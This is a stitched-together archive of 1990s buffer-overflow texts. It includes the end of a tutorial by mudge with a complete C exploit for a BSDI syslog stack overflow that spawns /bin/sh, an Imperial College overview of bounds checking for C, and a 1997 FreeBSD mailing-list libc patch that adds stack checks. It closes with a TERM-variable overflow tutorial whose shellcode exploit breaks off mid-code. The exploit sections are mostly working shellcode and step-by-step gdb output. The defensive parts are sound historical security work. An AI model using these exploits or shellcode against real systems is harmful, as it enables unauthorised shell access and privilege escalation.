   popl   %ecx      # we added this
   movl   $0x????,0xfffffff5(%ebp)
   movl   $0x0,0xfffffffc(%ebp)
   pushl  $0x0
   leal   0xfffffffc(%ebp),%eax  # we changed this
   pushl  %eax
   pushl  $0x????
   leal   0x3b,%eax
   pushl  %ecx       # we added this
   lcall  0x7,0x0
   call   0x????     # we added this


To figure out the bytes to load up our buffer with for the parts that
were already there run gdb on the execute program.

   bash$ gdb execute
   (gdb) disassemble main
   Dump of assembler code for function main:
   to 0x10bc:
   0x108c 
:  pushl  %ebp
   0x108d :        movl   %esp,%ebp
   0x108f :        subl   $0x8,%esp
   0x1092 :        movl   $0x1080,0xfffffff8(%ebp)
   0x1099 :       movl   $0x0,0xfffffffc(%ebp)
   0x10a0 :       pushl  $0x0
   0x10a2 :       leal   0xfffffff8(%ebp),%eax
   0x10a5 :       pushl  %eax
   0x10a6 :       pushl  $0x1083
   0x10ab :       call   0x10bc 
   0x10b0 :       leave  
   0x10b1 :       ret    
   0x10b2 :       addb   %al,(%eax)
   0x10b4 :       jmp    0x1144 
   0x10b9 :       addb   %al,(%eax)
   0x10bb :       addb   %cl,0x3b05(%ebp)
   End of assembler dump.
[get out your scratch paper for this one... ]
   0x108d :        movl   %esp,%ebp
   this goes from 0x108d to 0x108e. 0x108f starts the next instruction.
   thus we can see the machine code with gdb like this.
   (gdb) x/2bx 0x108d
   0x108d :  0x89  0xe5


Now we know that buffer[2028]=0x89 and buffer[2029]=0xe5. Do this for all
of the instructions that we are pulling out of the execute program. 
You can figure out the basic structure for the call command by looking at
the one inexecute that calls execve. Of course you will eventually need
to put in the proper address.


When I work this out I break down the whole program so I can see what's
going on. Something like the following

   0x108c 
:  pushl  %ebp
   0x108d :        movl   %esp,%ebp
   0x108f :        subl   $0x8,%esp
   (gdb) x/bx 0x108c
   0x108c 
:  0x55
   (gdb) x/bx 0x108d
   0x108d :  0x89
   (gdb) x/bx 0x108e
   0x108e :  0xe5
   (gdb) x/bx 0x108e
   0x108f :  0x83
   so we see the following from this:
   0x55		pushl %ebp
   0x89		movl %esp,%ebp
   0xe5
   0x83		subl $0x8,%esp
   etc. etc. etc. 


For commands that you don't know the opcodes to you can find them out
for the particular chip you are on by writing little scratch programs.

----pop.c-------
void main() {
__asm__("popl %esi\n");
}
---end pop.c----
   bash$ gcc -g pop.c -o pop
   bash$ gdb pop
   (gdb) disassemble main 
   Dump of assembler code for function main:
   to 0x1088:
   0x1080 
:  pushl  %ebp
   0x1081 :        movl   %esp,%ebp
   0x1083 :        popl   %esi
   0x1084 :        leave  
   0x1085 :        ret    
   0x1086 :        addb   %al,(%eax)
   End of assembler dump.
   (gdb) x/bx 0x1083
   0x1083 :  0x5e


So, 0x5e is popl %esi. You get the idea.
After you have gotten this far build the string up (put in bogus addresses
for the ones you don't know in the jmp's and call's... just so long
as we have the right amount of space being taken up by the jmp and
call instructions... likewise for the movl's where we will need to know
the memory location of 'sh\0\0/bin/sh\0'.


After you have built up the string, tack on the chars for sh\0\0/bin/sh\0.


Compile the program and load it into gdb. Before you run it in gdb
set a break point for the syslog call.

   (gdb) break syslog
   Breakpoint 1 at 0x1463
   (gdb) run
   Starting program: /usr2/home/syslog/buf
   Breakpoint 1, 0x1463 in syslog (0x00000003, 0x0000bf50, 0x0000082c, 
			0xefbfdeac)
   (gdb) disassemble 0xc73c 0xc77f   
        (we know it will start at 0xc73c since thats right after the
	 eip overflow... 0xc77f is just an educated guess as to where
         it will end)
   (gdb) disassemble 0xc73c 0xc77f
   Dump of assembler code from 0xc73c to 0xc77f:
   0xc73c :   movl   %esp,%ebp
   0xc73e :   xorl   %eax,%eax
   0xc740 :   jmp    0xc76b 
   0xc742 :   popl   %esi
   0xc743 :   popl   %ecx
   0xc744 :   movl   $0xc770,0xfffffff5(%ebp)
   0xc74b :   movl   $0x0,0xfffffffc(%ebp)
   0xc752 :   pushl  $0x0
   0xc754 :   leal   0xfffffffc(%ebp),%eax
   0xc757 :   pushl  %eax
   0xc758 :   pushl  $0xc773
   0xc75d :   leal   0x3b,%eax
   0xc763 :   pushl  %ecx
   0xc764 :   lcall  0x7,0x0
   0xc76b :   call   0xc742 
   0xc770 :   jae    0xc7da 
   0xc772 :   addb   %ch,(%edi)
   0xc774 :   boundl 0x6e(%ecx),%ebp
   0xc777 :   das    
   0xc778 :   jae    0xc7e2 
   0xc77a :   addb   %al,(%eax)
   0xc77c :   addb   %al,(%eax)
   0xc77e :   addb   %al,(%eax)
   End of assembler dump.


Look for the last instruction in your code. In this case it was the 'call'
to right after the 'jmp' near the beginning. Our data should be right
after it and indeed we see that it is.

   (gdb) x/13bc 0xc770
   0xc770 :  115 's'  104 'h'  0 '\000'  47 '/'  
			  98 'b'  105 'i'  110 'n'  47 '/'
   0xc778 :  115 's'  104 'h'  0 '\000'  0 '\000'  0 '\000'


Now go back into your code and put the appropriate addresses in the movl
and pushl. At this point you should also be able to put in the appropriate
operands for the jmp and call. Congrats... you are done. Here's what 
the output will look like when you run this on a system with the non
patched libc/syslog bug.

   bash$ buf
   $ exit (do whatever here... you spawned a shell!!!!!! yay!)
   bash$ 


Here's my original program with lot's of comments:

/*****************************************************************/
/* For BSDI running on Intel architecture -mudge, 10/19/95       */
/* by following the above document you should be able to write   */
/* buffer overflows for other OS's on other architectures now    */
/* mudge@l0pht.com                                               */
/*                                                               */
/* note: I haven't cleaned this up yet... it could be much nicer */
/*****************************************************************/
#include 
char buffer[4028];
void main () {
   int i;
  for(i=0; i<2024; i++)
    buffer[i]=0x90;
  /* should set eip to 0xc73c */
    buffer[2024]=0x3c;
    buffer[2025]=0xc7; 
    buffer[2026]=0x00; 
    buffer[2027]=0x00; 
  i=2028;
/* begin actuall program */
    buffer[i++]=0x89; /* movl %esp, %ebp */
    buffer[i++]=0xe5;
    buffer[i++]=0x33; /* xorl %eax,%eax */
    buffer[i++]=0xc0;
    buffer[i++]=0xeb; /* jmp ahead  */
    buffer[i++]=0x29;
    buffer[i++]=0x5e; /* popl %esi       */
    buffer[i++]=0x59; /* popl %ecx        */
    buffer[i++]=0xc7; /* movl $0xc770,0xfffffff8(%ebp) */
    buffer[i++]=0x45;
    buffer[i++]=0xf5;
    buffer[i++]=0x70;
    buffer[i++]=0xc7;
    buffer[i++]=0x00;
    buffer[i++]=0x00;
    buffer[i++]=0xc7; /* movl $0x0,0xfffffffc(%ebp) */
    buffer[i++]=0x45;
    buffer[i++]=0xfc;
    buffer[i++]=0x00;
    buffer[i++]=0x00;
    buffer[i++]=0x00;
    buffer[i++]=0x00;
    buffer[i++]=0x6a; /* pushl $0x0 */
    buffer[i++]=0x00;
#ifdef z_out
    buffer[i++]=0x8d; /* leal 0xfffffff8(%ebp),%eax */
    buffer[i++]=0x45;
    buffer[i++]=0xf8;
#endif
/* the above is what the disassembly of execute does... but we only
   want to push /bin/sh to be executed... it looks like this leal
   puts into eax the address where the arguments are going to be
   passed. By pointing to 0xfffffffc(%ebp) we point to a null 
   and don't care about the args... could probably just load up
   the first section movl $0x0,0xfffffff8(%ebp) with a null and
   left this part the way it want's to be */
    buffer[i++]=0x8d; /* leal 0xfffffffc(%ebp),%eax */
    buffer[i++]=0x45; 
    buffer[i++]=0xfc;
    buffer[i++]=0x50; /* pushl %eax */
    buffer[i++]=0x68; /* pushl $0xc773 */
    buffer[i++]=0x73;
    buffer[i++]=0xc7;
    buffer[i++]=0x00;
    buffer[i++]=0x00;
    buffer[i++]=0x8d; /* lea 0x3b,%eax */
    buffer[i++]=0x05;
    buffer[i++]=0x3b;
    buffer[i++]=0x00;
    buffer[i++]=0x00;
    buffer[i++]=0x00;
    buffer[i++]=0x51; /* pushl %ecx */
    buffer[i++]=0x9a; /* lcall 0x7,0x0 */
    buffer[i++]=0x00;
    buffer[i++]=0x00;
    buffer[i++]=0x00;
    buffer[i++]=0x00;
    buffer[i++]=0x07;
    buffer[i++]=0x00;
    buffer[i++]=0xe8; /* call back to ??? */
    buffer[i++]=0xd2; 
    buffer[i++]=0xff;
    buffer[i++]=0xff;
    buffer[i++]=0xff;
    buffer[i++]='s';
    buffer[i++]='h';
    buffer[i++]=0x00;
    buffer[i++]='/';
    buffer[i++]='b';
    buffer[i++]='i';
    buffer[i++]='n';
    buffer[i++]='/';
    buffer[i++]='s';
    buffer[i++]='h';
    buffer[i++]=0x00;
    buffer[i++]=0x00;
    syslog(LOG_ERR, buffer);
}





Copyright 1995, 1996 LHI Technologies, All Rights Reserved



buffer-overflows/BoundsChecking.html100644      0      0       14441  6347416043  16241 0ustar  rootroot
   
      Bounds Checking for C
   
   
      
Bounds Checking for C

      

	
Richard Jones and Paul Kelly, Imperial College, July 1995



 We're very excited about this: we can check every time a program
uses a pointer or array and ensure that only valid references are
allowed.  This isn't new: what's new is that checked code can
interwork with unchecked modules, libraries and system calls.  We're
still working on some rough edges and on improving the performance.


This is a short overview; for a full report (and the code), see 
 here.



C is unusual among programming languages in providing the programmer
with the full power of pointers.  Languages in the Pascal/Algol family
have arrays and pointers, with the restriction that arithmetic on
pointers is disallowed.  Languages like BCPL allow arbitrary
operations on pointers, but lack types and so require clumsy scaling
by object sizes.


An advantage of the Pascal/Algol approach is that array references can
be checked at run-time fairly efficiently, in fact so efficiently that
there is a good case for bounds-checking in production code.  Bounds
checking is easy for arrays because the array subscript syntax
specifies both the address calculation and the array within which the
resulting pointer should point.  


With pointers in C, a pointer can be used in a context divorced from
the name of the storage region for which it is valid.



Approaches to bounds checking



One response to this analysis is to discard C, since this lack of
efficient checkability is responsible for many software failures.


A second approach is to extend the language to make checking easier.
There are various proposals for doing this, and it is an opportunity
to add other features such as assertion checking.


A third more-or-less workable scheme is to modify the representation of
pointers to include three items: the pointer itself, and the lower and
upper bounds of the object to which it is supposed to point.
Experience with this has shown the benefits of bounds checking (e.g.
see the bcc and rtcc compilers cited below), but there are
difficulties:

    

  • 	Although some optimisation is possible, execution time of the
	resulting code increases by a large factor (ten or more,
	apparently). 
	
    
	Even if the checking code can be optimised away, there remains
	the cost of passing triples for every pointer - which
	essentially prevents their being allocated to registers.
	
    

  • 	Because the representation of pointers has been changed, 
	checked code is incompatible with normal code.  This means
	that special versions of all libraries and system calls must
	be provided, and all the constituent modules of a program
	must be run with checking on.  This adds to the performance 
	problem.
	
    
	Some automatic support for interfacing checked code with
	normal code can be given, but this only works for
	straightforward cases.  GUI code with call-backs, for example,
	is tricky.
	
    

  • 	Code which interfaces to hardware (e.g. a DMA controller)
	requires special attention since the hardware must be presented with
	standard addresses.





How we solved the problem



Our technique provides full checking without changing the
representation of pointers.  We therefore avoid most of the problems
noted above.  Some efficiency problems remain, but bounds checking
need not be used in all of the files which make up a program, so
trusted, performance-critical code can run at full speed.


The key idea is this:

    

  • 	Every pointer expression derives a new pointer from a unique 
	original pointer.
	
    
	For example, in "p+2*k+1" we derive a new pointer from "p".
	
    
	By contrast, in "p+q" or "p-q", we derive an integer from two pointers.
	The integer is nonsense as a pointer.
	
    
	We call this unique original pointer the expression's "base" pointer.
	
    

  • 	Every pointer value is valid for just one allocated storage 
	region.
	
    
	An allocated storage region may be a global, static, automatic
	or heap-allocated variable, structure or array.
	
    

  • 	We can check whether a pointer arithmetic expression is valid
	by finding its base pointer's storage region, then checking
	that the expression's result points into the same storage region.
	
    

  • 	If the base pointer appears not to refer to any valid region,
	then it must refer to a region originating in unchecked code.
	In this case we cannot check the result of the expression.
	
    

  • 	If the base pointer's storage region is an array, say A[100], then
	(according to the ANSI standard) it is valid to calculate 
	the address of the element after the last one valid (in this
	example, the address of A[100]).  
	
    
	This is so that a pointer can be incremented and then tested
	for the loop exit condition.
	
    
	To prevent false alarms, we pad the storage layout of arrays
	to that A[100] is a valid pointer (we still check it when it
	is used).  





Implementation



We made some small modifications to the C front-end of gcc, the Gnu C
compiler, to add code to check pointer arithmetic and use, and to
maintain a table of known allocated storage regions.


We went to some trouble to ensure that gcc's optimiser could handle
the added code, and employed modest inlining for efficiency. 


The table of known allocated storage regions has to handle insertions,
deletions and range lookups extremely fast, but since programs display a
high degree of locality the access pattern is highly skewed.  For
these reasons a splay tree was used, in which objects
are migrated to the root when accessed.



Performance




    

  • 	nfib (dumb doubly-recursive Fibonacci): no slowdown.
	
      
	
    • 	Execution time: same.
	
    • 	Compile-time: slowdown of 3 (very small)
	
    • 	Executable size: much larger due to inclusion of library.
	
    

  • 	Matrix multiply (ikj, using array subscripting):
	
      
	
    • 	Execution time: slowdown of around 30 compared to 
		unoptimised.
	
    • 	Compile-time: slowdown of around 2.
	
    • 	Executable size: roughly the same.
	
    





Availability



The software is distributed free under GNU copyleft, in the form of a
patch to the gcc 2.7.0 source distribution 
( here).
   

   

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Message-ID: <199702091525.RAA05048@burka.carrier.kiev.ua>
Subject: Increasing overall security....
To: freebsd-hackers@freebsd.org
Date: Sun, 9 Feb 1997 17:25:43 +0200 (EET)
Content-type: text/plain; charset=koi8-r
X-Mailer: ELM [version 2.4 PL24]
Content-Type: text
Sender: owner-hackers@freebsd.org
X-Loop: FreeBSD.org
Precedence: bulk
Lines: 222
I want to contribute patch to libc to made FreeBSD unexploitable
with standard 'stack overflow' attacks.
All i wanted, is to made my FreeBSD-based host as secure as possible.
And i havent found no such man as Theo de Raadt in FreeBSD project,
so the source tree still contains some exploitable 'stack overflow'
security holes. Most of which is based on using some 'insecure'
functions like 'strcpy', 'sprintf' and so in setuid programs. 
'Why don't rewrite that functions to check the stack integrity
before return?' says Oleg Panaschenko sometimes ago, and after
some reflections i found that that is not so bad idea. Yes, we're
getting some overhead with using these functions rather than
with standard ones, but, as for me, this overhead is not so big
and a reason, that i can sleep without nightmares about another
stack overflow exploits is much important for me.
Well, that is not panacea, though. I still will have problems 
with other variants of security holes ( with creating temporary files,
for example ).
I apologise, that i used libc from 2.1.5-RELEASE for make that patch,
but i have no free computer for run -current. I tested it with -current
libc and it applied well.
IDEA NOTES: 
There are two new functions: checkframe__(char* a,char* b), which
checks that we have no stack frames (generated by call _func)
in memory region [a,b], and insane__(char* function-name,char* buffer),
which are just performs kill(SIGSEGV,getpid()) (because program
will got this signal while 'ret' to junk address in stack anyway
but exploited) and after exit(1) (for cases like signal(SIG_SEGV,SIG_IGN) 
:) ). And most functions, which can be used for stack exploiting,
patched to check the changed memory region to avoid stack violation. 
These functions are: strcpy,strcat,sprintf ( well, 90% of such exploits
used it ), gets (historical reasons :) ) and memcpy (some things, like
scanf and so uses it).
INSTALLATION NOTES:
there are not just patch to existing functions, there are three
new files to libc, which are attached as uuencoded .tgz to this
letter. You need to extract it with `pwd`=/usr/src/lib .
You also need to 
cd /usr/src/lib/libc/i386/string/
mv strcpy.S strcpy.S.orig
mv strcat.S strcat.S.orig
( or just remove these files )
Sorry for my english.
diff -r -c libc-old/i386/string/Makefile.inc libc/i386/string/Makefile.inc
*** libc-old/i386/string/Makefile.inc	Mon Jan 23 03:28:45 1995
--- libc/i386/string/Makefile.inc	Tue Feb  4 18:13:03 1997
***************
*** 3,8 ****
  SRCS+=	bcmp.S bcopy.S bzero.S ffs.S index.S memchr.S memcmp.S \
  	memmove.S memset.S \
! 	rindex.S strcat.S strchr.S strcmp.S strcpy.S strcspn.c \
  	strlen.S strncat.c strncmp.S strncpy.c strpbrk.c strsep.c \
! 	strspn.c strrchr.S strstr.c swab.S
--- 3,8 ----
  SRCS+=	bcmp.S bcopy.S bzero.S ffs.S index.S memchr.S memcmp.S \
  	memmove.S memset.S \
! 	rindex.S strchr.S strcmp.S strcspn.c \
  	strlen.S strncat.c strncmp.S strncpy.c strpbrk.c strsep.c \
! 	strspn.c strrchr.S strstr.c swab.S checkframe.S insane.c
diff -r -c libc-old/i386/string/memmove.S libc/i386/string/memmove.S
*** libc-old/i386/string/memmove.S	Wed Jun  5 05:47:35 1996
--- libc/i386/string/memmove.S	Sat Feb  8 22:16:28 1997
***************
*** 46,53 ****
  	 * (ov)bcopy (src,dst,cnt)
  	 *  ws@tools.de     (Wolfgang Solfrank, TooLs GmbH) +49-228-985800
  	 */
! 
  ALTENTRY(memcpy)
  ENTRY(memmove)
  	pushl	%esi
  	pushl	%edi
--- 46,54 ----
  	 * (ov)bcopy (src,dst,cnt)
  	 *  ws@tools.de     (Wolfgang Solfrank, TooLs GmbH) +49-228-985800
  	 */
! /*
  ALTENTRY(memcpy)
+ */
  ENTRY(memmove)
  	pushl	%esi
  	pushl	%edi
diff -r -c libc-old/stdio/gets.c libc/stdio/gets.c
*** libc-old/stdio/gets.c	Wed Jun  5 05:49:43 1996
--- libc/stdio/gets.c	Sun Feb  9 17:05:33 1997
***************
*** 64,68 ****
--- 64,69 ----
  		else
  			*s++ = c;
  	*s = 0;
+ 	if(checkframe__(buf,s)) insane__((char*)"gets",buf);
  	return (buf);
  }
diff -r -c libc-old/stdio/sprintf.c libc/stdio/sprintf.c
*** libc-old/stdio/sprintf.c	Wed Jun  5 05:49:52 1996
--- libc/stdio/sprintf.c	Sun Feb  9 14:42:52 1997
***************
*** 71,75 ****
--- 71,76 ----
  	ret = vfprintf(&f, fmt, ap);
  	va_end(ap);
  	*f._p = 0;
+ 	if(checkframe__(str,f._p)) insane__((char*)"sprintf",str);
  	return (ret);
  }
diff -r -c libc-old/string/Makefile.inc libc/string/Makefile.inc
*** libc-old/string/Makefile.inc	Wed Jun  5 05:50:30 1996
--- libc/string/Makefile.inc	Sat Feb  8 22:15:28 1997
***************
*** 5,11 ****
  CFLAGS += -I${.CURDIR}/locale
  # machine-independent string sources
  SRCS+=	memccpy.c strcasecmp.c strcoll.c strdup.c strerror.c \
! 	strmode.c strtok.c strxfrm.c
  # machine-dependent string sources
  .include "${.CURDIR}/${MACHINE}/string/Makefile.inc"
--- 5,11 ----
  CFLAGS += -I${.CURDIR}/locale
  # machine-independent string sources
  SRCS+=	memccpy.c strcasecmp.c strcoll.c strdup.c strerror.c \
! 	strmode.c strtok.c strxfrm.c strcpy.c strcat.c memcpy.c
  # machine-dependent string sources
  .include "${.CURDIR}/${MACHINE}/string/Makefile.inc"
diff -r -c libc-old/string/strcat.c libc/string/strcat.c
*** libc-old/string/strcat.c	Fri May 27 07:57:55 1994
--- libc/string/strcat.c	Sat Feb  8 21:53:58 1997
***************
*** 43,50 ****
--- 43,52 ----
  	register const char *append;
  {
  	char *save = s;
+ 	char *funct="strcat";
  	for (; *s; ++s);
  	while (*s++ = *append++);
+ 	if(checkframe__(save,s)) insane__(funct,save);
  	return(save);
  }
diff -r -c libc-old/string/strcpy.c libc/string/strcpy.c
*** libc-old/string/strcpy.c	Fri May 27 07:57:55 1994
--- libc/string/strcpy.c	Sat Feb  8 21:54:40 1997
***************
*** 44,50 ****
--- 44,52 ----
  	register const char *from;
  {
  	char *save = to;
+ 	char *func="strcpy";
  	for (; *to = *from; ++from, ++to);
+ 	if(checkframe__(save,to)) insane__(func, save);
  	return(save);
  }
begin 644 tarball.tgz
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`
end
-- 
Alexander Snarskii
the source code is included.
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#include 
void main(int argc,char **argv,char **envp) {
char s[1024];
  strcpy(s,getenv("TERM"));
}
$ gcc simple.c -S
$ cat simple.s
        .file   "simple.c"
        .version        "01.01"
gcc2_compiled.:
.section        .rodata
.LC0:
        .string "TERM"
.text
        .align 16
.globl main
        .type    main,@function
main:
        pushl %ebp
        movl %esp,%ebp
        subl $1024,%esp
        pushl $.LC0
        call getenv
        addl $4,%esp
        movl %eax,%eax
        pushl %eax
        leal -1024(%ebp),%eax
        pushl %eax
        call strcpy
        addl $8,%esp
.L1:
        movl %ebp,%esp
        popl %ebp
        ret
.Lfe1:
        .size    main,.Lfe1-main
        .ident  "GCC: (GNU) 2.7.0"
$
ok.. so that's a bit and now we need to know something.  We need to know 
a little x86 asm.. That's a little beyond the scope of this article so 
you might want to check out a book or two..  Anyways.. here's the 
important bits of that output:
        pushl %ebp
        movl %esp,%ebp
        subl $1024,%esp
	..
	ret
The first two lines are called "setting up a stack frame" and is a 
standard part of code compiled by a c compiler.  The third line here is 
allocating space on the stack for the "s" variable in our c code back up 
there.  From this we can get an idea about what the stack looks like:
	+-------------+ -1024(%ebp)
	|  1024 bytes |                  (s variable)
	+-------------+     0(%ebp)
	|     ebp     |
	+-------------+     4(%ebp)
	|   ret addr  |
	+-------------+     8(%ebp)
	|     argc    |
	+-------------+    12(%ebp)
	|     argv    |
	+-------------+    16(%ebp)
	|     envp    |
	+-------------+
ok.. so what happens when we do a strlen of the environment variable TERM 
that is bigger than 1024 bytes?  We start copying to -1024(%ebp) and go
to -1023(%ebp) and so on and we SHOULD stop before 0(%ebp) but we dont, 
we keep going and copy over the value of ebp stored on the stack and the 
return address.  So what happens when we get to that ret down the 
bottom?  Well the value of the return address has been overwritten and 
destroyed so it ends up jumping into the middle of nowhere, that is, 
unless we make it jump to somewhere useful.
GDB - your new friend
---------------------
GDB or the GNU symbolic debugger.  Using this useful util we can actually 
look at what happens.  Our previous example:
$ export TERM="01234567890123456789012345678901234567890123456789012345678
90123456789012345678901234567890123456789012345678901234567890123456789012
34567890123456789012345678901234567890123456789012345678901234567890123456
78901234567890123456789012345678901234567890123456789012345678901234567890
12345678901234567890123456789012345678901234567890123456789012345678901234
56789012345678901234567890123456789012345678901234567890123456789012345678
90123456789012345678901234567890123456789012345678901234567890123456789012
34567890123456789012345678901234567890123456789012345678901234567890123456
78901234567890123456789012345678901234567890123456789012345678901234567890
12345678901234567890123456789012345678901234567890123456789012345678901234
56789012345678901234567890123456789012345678901234567890123456789012345678
90123456789012345678901234567890123456789012345678901234567890123456789012
34567890123456789012345678901234567890123456789012345678901234567890123456
78901234567890123456789012345678901234567890123456789012345678901234567890
123456789"
$ gdb simple
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.14 (i486-slackware-linux),
Copyright 1995 Free Software Foundation, Inc...(no debugging symbols found)...
(gdb) break main
Breakpoint 1 at 0x80004e9
(gdb) run
Starting program: simple
Breakpoint 1, 0x80004e9 in main ()
(gdb) disass
Dump of assembler code for function main:
0x80004e0 
:       pushl  %ebp
0x80004e1 :     movl   %esp,%ebp
0x80004e3 :     subl   $0x400,%esp
0x80004e9 :     pushl  $0x8000548
0x80004ee :    call   0x80003d8 
0x80004f3 :    addl   $0x4,%esp
0x80004f6 :    movl   %eax,%eax
0x80004f8 :    pushl  %eax
0x80004f9 :    leal   0xfffffc00(%ebp),%eax
0x80004ff :    pushl  %eax
0x8000500 :    call   0x80003c8 
0x8000505 :    addl   $0x8,%esp
0x8000508 :    movl   %ebp,%esp
0x800050a :    popl   %ebp
0x800050b :    ret
0x800050c :    nop
0x800050d :    nop
0x800050e :    nop
0x800050f :    nop
End of assembler dump.
(gdb) break *0x800050b
Breakpoint 2 at 0x800050b
(gdb) cont
Continuing.
Breakpoint 2, 0x800050b in main ()
(gdb) stepi
0x37363534 in __fpu_control ()
(gdb) stepi
Program received signal SIGSEGV, Segmentation fault.
0x37363534 in __fpu_control ()
(gdb)
ok.. so we get a segmentation fault.. why? well cause there's no code at 
address 0x37363534.  lets have a look at the stack:
$ gdb simple
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.14 (i486-slackware-linux),
Copyright 1995 Free Software Foundation, Inc...(no debugging symbols found)...
(gdb) break main
Breakpoint 1 at 0x80004e9
(gdb) run
Starting program: simple
Breakpoint 1, 0x80004e9 in main ()
(gdb) info registers
eax            0x0      0
ecx            0xc      12
edx            0x0      0
ebx            0x0      0
esp            0xbffff800       0xbffff800
ebp            0xbffffc04       0xbffffc04
esi            0x50000000       1342177280
edi            0x50001df0       1342184944
eip            0x80004ee        0x80004ee
ps             0x382    898
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x2b     43
gs             0x2b     43
(gdb) x/5xw 0xbffffc04
0xbffffc04 <__fpu_control+3087001064>:  0xbffff8e8      0x08000495      
0x00000001      0xbffffc18
0xbffffc14 <__fpu_control+3087001080>:  0xbffffc20
(gdb) 
the first value here (0xbffff8e8) is the value of ebp before it was 
pushed onto the stack.  The next value is the return address.  The 
0x00000001 is argc and 0xbffffc18 is argv and the 0xbffffc20 is envp.  So 
if we were to copy 1024 + 8 bytes we could overwrite the return address 
and make it jump back to our code (that we also copy there).  So lets 
skip to the chase.  If we set TERM to:  
  
when we get to the ret it'll return to the nops and continue down to the 
code which executes a shell.  The only problem we have now is what the 
return address should be.  The perfect return address would be 0xbffff804 
but it's rather unlikely that we would have that information when we 
write the sploit so we try to estimate it.  Here is the sploit for our 
"simple" example:
long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}
char *realegg =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
/*char *realegg="\xeb\xfe\0";*/
char s[1034];
int i;
char *s1;
#define STACKFRAME (0xc00 - 0x818)
void main(int argc,char **argv,char **envp) {
  strcpy(s,"TERM=");
  s1 = s+5;
  while (s1